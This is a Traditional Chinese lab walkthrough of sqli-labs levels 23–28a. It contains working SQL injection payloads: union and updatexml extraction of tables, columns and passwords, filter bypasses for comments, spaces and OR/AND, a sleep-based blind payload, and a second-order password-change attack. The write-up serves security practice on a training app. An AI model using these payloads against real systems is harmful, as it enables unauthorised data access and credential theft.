less-23

可以看得出來單引號就是閉合,但依然上圖最兩個payload都出錯,那有可能是過濾掉了註釋符號。

既然過濾掉註釋符號,那就要多一個單引號來閉合,也需要多一些or來確保注入語句可以順利執行,跟less-18的

'OR updatexml(1,concat("!",database()),2) OR'

有異曲同工之妙。

可以再仔細看看原始碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

如果把註釋符號過濾,那注入1' union select null,database(),3 --+後會變成

$sql="SELECT * FROM users WHERE id='1' union select null,database(),3 ' LIMIT 0,1";

所以會出錯。

注意!,如果注入:

1' union select null,database(),3 or '

還是只會顯示admin跟admin,必須把1調成不在資料庫裡的數字(如-1),才有機會讓網頁顯示我們要的資訊。所以注入:

-1' union select null,database(),3 or '

看看上圖灰底字,就是database()有執行的證明。之後把上圖藍字部分換成慣用payload即可。

查security這個DB裡有哪些table:

union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
查security這個DB裡的users這個table有哪些column:

union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
查詢users這個table裡的username跟password:

union select null,group_concat(username),group_concat(password) FROM users

但要注意上一句如果直接輸入會出問題:

可以在payload創造一個恆真條件閉合:

union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1

less-24

登入後看到以下頁面:

直覺先用payload狂打,看能不能繞,

但結果出來如下圖,通通不行。

不過以admin登入以後可以更改密碼。

所以這一題是二次注入。先註冊一個有問題的帳號,以閉合且註釋掉後面語句。

比如註冊admin1'#,可以看見目前資料庫如下圖,admin1'#的密碼是123456,而admin1的密碼是admin1:

D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 149
Server version: 5.5.47 MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.00 sec)

mysql> use security;
Database changed
mysql> select username,password FROM users;
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
| admin1'# | 123456     |
+----------+------------+
14 rows in set (0.00 sec)

(具體資料庫操作可以參考以下網頁:

http://mirlab.org/jang/books/asp/sql01.asp?title=18-3%20%A8%CF%A5%CE%20SQL%20%A8%D3%C0%CB%B5%F8%B8%EA%AE%C6

https://tsuozoe.pixnet.net/blog/post/21283890

)

接下來把我們註冊的admin1'#的密碼修改成7890:

再次查詢即可得知admin1的密碼被改了,如下圖反白。

問題出在pass_change.php的這一行:

$sql = "UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass' ";

當我們註冊了admin1'#時,語句變為

$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'#' and password='$curr_pass' ";

這時admin1'#的#把後面的語句通通被註解掉,而admin1'#的單引號發揮了閉合的效果,所以實際上語句變成下面這樣,改到的是admin1。

$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'

less-25

如果報錯可回顯,那麼直接在1的後面加一個反斜線即可知道原本語句是如何閉合的。可以看到上圖紅圈,反斜線後面是單引號,代表是用單引號閉合。

另外也要注意兩點:

第一、id後面要=-1或是其他資料庫沒有的數字,才會正確讀出。

第二、注意到報錯訊息,可以發現原始的sql語句包含LIMIT...,這代表注入語句後面用--+無法註釋掉,要用 or '才有用。

第三、可以看看這網頁的提示如下圖,可以知道會對注入語句的or跟and做過濾。or可以用||或是oORr,and可以用&&或AandND來躲避過濾(如果只過濾一次英文的話)。

所以之前習慣用的payload要做處理。

上圖反藍就是可以讓我們塞payload的地方,但在執行前還要把它編碼,可以用chrome 的hackbar來幫忙:

把後面部分反藍,先點encoding再點url encode,即可編碼。反灰是結果,反藍就是被編碼過的現有資料庫查詢語句。

那再來看看之前常用的payload,它是可以塞到上上上張圖的反藍處:

union select null,null,group_concat(TABLE_NAME) from infoORrmation_schema.tables where TABLE_SCHEMA = 'security'

union select null,null,group_concat(COLUMN_NAME) FROM infoORrmation_schema.columns WHERE TABLE_SCHEMA = 'security' AandND TABLE_NAME = 'users'

union select null,group_concat(username),group_concat(passwoORrd) FROM users WHERE '1'='1'

但是要注意,因為網頁會把or濾掉,所以要把原本含有or的字多加一個or,像是information_schema改成infoORrmation_schema,password改成passwoORrd。

less-26

網頁直接給提示,不允許空白跟註釋。先測試閉合,透過單引號(下圖反灰)跟錯誤訊息(下圖反藍),可以得知是透過單引號閉合。

但如果禁止空白,那麼原本的那些語句:

# 查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
# 查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
# 查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users

一定都會遇到空白,而且環境可能還不認空白的替代品--%a0。幸好這網頁可以回顯錯誤,可以使用updatexml,因為此函數可以用小括號和運算符來代替空白,。另外,在不使用註釋的前提下,想閉合後面語句,就用||'。比如說原始碼裡是'id',那麼注入語句應該是'||查詢語句||'

updatexml(1,concat('$',(database())),0)

上圖的反藍處可以取代成查詢語句,注意以下查詢語句為了躲避or的過濾,or會寫成oorr。

security這個DB有哪一些table(表名):

updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)

users這個table有哪一些column(字段名):

updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)

爆出column內容:

updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)

注意因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。

less-26a

如何判斷閉合?

這一次沒有錯誤回顯,但可以直接用union select回顯。如果使用windows的phpstudy,根本無法用%a0來繞過空格,也可以使用盲注,延時盲注的語法不須空格,這裡使用盲注。

資料庫名稱長度: (注意注入語句兩邊是and)

1')anandd(if((length(database())=8),sleep(5),1))anandd('1

如果猜對的話load會需要5秒,畫面呈現會是如下:

代換上圖反灰即可。

less-27

閉合測試:

首先用

https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt

這個字典檔進行注入點fuzzing,結果如下:

從上圖來看,這題一樣會過濾空格,也會過濾註釋,而在windows的phpstudy底下,/*%0a*/可以代表空白。

從上圖可知這題應該是單引號閉合。

從上圖可以看出非')閉合

(參考less-1,但有改)

如果直接把less-1的注入語句

union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'

的union select給大小寫混淆,以及將空格以/*%0a*/替代的話,結果會怪怪的,注入語句應該要用

UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4

才會正常。

還有,如果是等等會提到的報錯注入,那麼可以用

1' || 注入語句 || '1

這樣的方式來注入。但如果是現在提的直接回顯方式,這樣的作法會出錯(為何?),必須改成

0' 注入語句 || '1

而且還要是0或者是很大的正數,才會正確顯示注入語句的內容。以

UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4

這個語句為例。這是顯示security這個DB有哪些table,但如果0改成-1,只會顯示:

如果是其他負數,則會顯示帳密。

顯示欄位(column名稱)

UnIoN SeLeCt 1,(SeLeCt group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'),2

上圖反灰處即為塞payload的地方。

顯示帳密:

UnIoN SeLeCt 3,(SeLeCt group_concat(username) FROM users),2

UnIoN SeLeCt 3,(SeLeCt group_concat(password) FROM users),2

另外,這一題的報錯會回顯,所以用updatexml試試看:

爆出security裡的table:

updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)

變形:(無空格)

updatexml(1,concat("!",(SeLeCT(group_concat(table_name))FROM(information_schema.tables)WHERE (table_schema='security'))),2)

爆出users table裡的column

updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)

變形:(無空格)

updatexml(1,concat("!",(SeLeCT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_schema='security')AND(table_name='users')))),2)

爆出column內容

updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1)

變形:(無空格)

updatexml(1,concat(0x7e,(SeLeCT(group_concat(username,':',password))from(users)),1)

less-27a

跟less-27相同,只是是用"閉合,給出其中一個payload作參考:

0"UnIoN/*%0a*/SeLeCt/*%0a*/3,(database()),2||"1

上圖藍字更換成其他查詢語句。

less-28

閉合:

1' and '1' = '1成立(如下圖),這表示原始碼內查詢語句有兩種可能:

select * from table where id = '1' and '1' = '1';

select * from table where id = ('1' and '1' = '1');

所以再進一步的試試,是不是第二種:

1') and ('1') = ('1

所以閉合就是')。

接下來就是測試以往用過的注入語句:

可以從上圖反藍跟反灰看的出來這一次是union跟select一起出現就會觸發過濾,所以用雙寫繞過即可。雙寫寫法如下:

網頁會過濾掉上圖反藍,所以還剩下一對union跟select。

100')UnIon/*%0a*/sEunion/*%0a*/selectlect/*%0a*/3,(database()),2 || ('1

替換掉上圖反藍即可更換查詢語句。

less-28a

其實跟less-28差不多,閉合是一樣的,過濾也差不多,可以用雙寫繞過。


#sql inkection: union攻擊-另一種寫法 #sql inkection: windows底下之空白繞過(union攻擊寫法、報錯注入寫法、延時注入寫法) #sql inkection: 繞穿註釋符號過濾(union攻擊寫法) #sql inkection: 恆真條件閉合 #sql inkection: 二次注入(提供設定新帳密功能) #sql inkection: 繞穿and/or過濾(union攻擊寫法、報錯注入寫法) #sql inkection: 閉合測試 #sql基本操作







Related Posts

[Day04] Currying, Pointfree, Higher Order Function

[Day04] Currying, Pointfree, Higher Order Function

Git 基礎概念與版本控制操作

Git 基礎概念與版本控制操作

Day03 準備出發

Day03 準備出發


Comments